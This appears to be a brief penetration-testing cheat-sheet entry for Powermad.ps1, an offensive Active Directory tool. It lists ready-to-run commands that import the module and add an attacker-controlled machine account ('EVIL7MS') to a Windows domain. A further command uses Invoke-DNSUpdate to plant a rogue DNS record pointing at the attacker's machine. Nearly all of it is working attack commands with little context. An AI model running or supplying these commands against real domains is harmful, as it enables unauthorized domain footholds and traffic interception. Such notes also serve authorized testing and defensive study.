# Powermad.ps1

powermad helps you add computers to the domain!

# Import module

import-module .\Powermad.ps1

# Add machine account to domain

New-MachineAccount -MachineAccount EVIL7MS -Password $(ConvertTo-SecureString 'Muah-hah-hah!' -AsPlainText -Force) -Verbose

# Add a DNS record to the domain

Typcially I add DNS records with dnstool.py, but as an alternative, Powermad also comes with a script to add rogue DNS records:

. .\Invoke-DNSUpdate.ps1
Invoke-DNSUpdate -DNSType A -DNSName EVILDNSRECORD -DNSData IP.OF-YOUR.ATTACKING.BOX